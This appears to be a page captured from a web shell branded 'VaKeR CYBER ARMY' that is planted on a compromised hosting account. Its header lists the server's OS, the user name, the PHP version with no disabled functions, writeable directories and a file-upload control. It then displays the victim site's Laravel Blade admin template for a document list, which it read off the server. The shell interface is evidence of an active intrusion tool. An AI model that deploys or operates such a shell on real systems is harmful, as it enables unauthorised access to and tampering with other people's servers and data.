VaKeR CYBER ARMY
Logo of a company Server : Apache
System : Linux host44.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : vapecompany ( 2719)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/home/vapecompany/demo.vapecompany.com.bd/resources/views/backend/document/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/home/vapecompany/demo.vapecompany.com.bd/resources/views/backend/document/index.blade.php
@extends('backend.layout.app')
@section('content')

        <!-- ============================================================== -->
        <!-- Page wrapper  -->
        <!-- ============================================================== -->
        <div class="page-wrapper">
            <!-- ============================================================== -->
            <!-- Bread crumb and right sidebar toggle -->
            <!-- ============================================================== -->
            <div class="page-breadcrumb">
                <div class="row">
                    <div class="col-5 align-self-center">
                        <h4 class="page-title">Document List-({{$type}})</h4>

                        <!-- <div class="d-flex align-items-center">
                            <nav aria-label="breadcrumb">
                                <ol class="breadcrumb">
                                    <li class="breadcrumb-item"><a href="#">Home</a></li>
                                    <li class="breadcrumb-item active" aria-current="page">Library</li>
                                </ol>
                            </nav>
                        </div> -->
                    </div>

                </div>
            </div>
            <!-- ============================================================== -->
            <!-- End Bread crumb and right sidebar toggle -->
            <!-- ============================================================== -->
            <!-- ============================================================== -->
            <!-- Container fluid  -->
            <!-- ============================================================== -->
            <div class="container-fluid">
                <!-- ============================================================== -->
                <!-- Start Page Content -->
                <!-- ============================================================== -->
                <div class="row">
                    <div class="col-12">


                        <!-- Column -->
                        <div class="card">
                            <div class="card-body">
                                 <div class="d-flex justify-content-end">
                                    <a href="{{url('admin/document').'/'.$type.'/'.$id.'/new_document'}}" class="btn btn-danger btn-rounded m-t-10 mb-2" >Add Document</a>
                                </div>
                               <!--  <h4 class="card-title">Table Responsive </h4>
                                <h6 class="card-subtitle">Data table example</h6> -->
                                <table id="table_id" class="table display table-bordered table-striped no-wrap  collapsed">
                                    <thead>
                                        <tr>
                                            <th>SL</th>
                                            <th>Document Name</th>
                                            <th>Action</th>
                                        </tr>

                                    </thead>
                                    <tbody>
                                        @php $i=1; @endphp
                                        @foreach($documents as $document)
                                        <tr>
                                            <td>{{$i}}</td>
                                            <td>{{$document->document_name}}</td>
                                            <td>
                                                <div role="group" aria-label="Basic example" class="btn-group btn-group-sm">
                                                    <a target="_blank" href="{{url('admin/document').'/'.$type.'/'.$id.'/show_document/'.$document->document_id}}" class="mr-2">
                                                       Show File</i>
                                                    </a>

                                                    <a href="javascript:void(0);" onclick="confirmDelete('{{$document->document_id}}') ">
                                                        <i class="fa fa-trash text-danger"></i>
                                                    </a>
                                                </div>
                                            </td>
                                        </tr>
                                        @php $i++; @endphp
                                        @endforeach

                                    </tbody>
                                </table>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- ============================================================== -->
                <!-- End PAge Content -->
                <!-- ============================================================== -->
                <!-- ============================================================== -->
                <!-- Right sidebar -->
                <!-- ============================================================== -->
                <!-- .right-sidebar -->
                <!-- ============================================================== -->
                <!-- End Right sidebar -->
                <!-- ============================================================== -->
            </div>
            <!-- ============================================================== -->
            <!-- End Container fluid  -->
            @endsection
              @section('script')
              <script type="text/javascript">
                  function confirmDelete(arg){
                    var con = confirm("do you want to Delete?");
                    if(con){
                         $.ajax({

                                type : 'POST',
                                url  : "{{url('admin/delete_document')}}",
                                data : {id:arg},

                                success :  function (data)
                                {
                                    //console.log(data);
                                    // window.location.href="{{url('/document/brand/'.$id)}}";
                                    window.location.reload();
                                }
                             });
                    }
                  }
              </script>

              @endsection

VaKeR 2022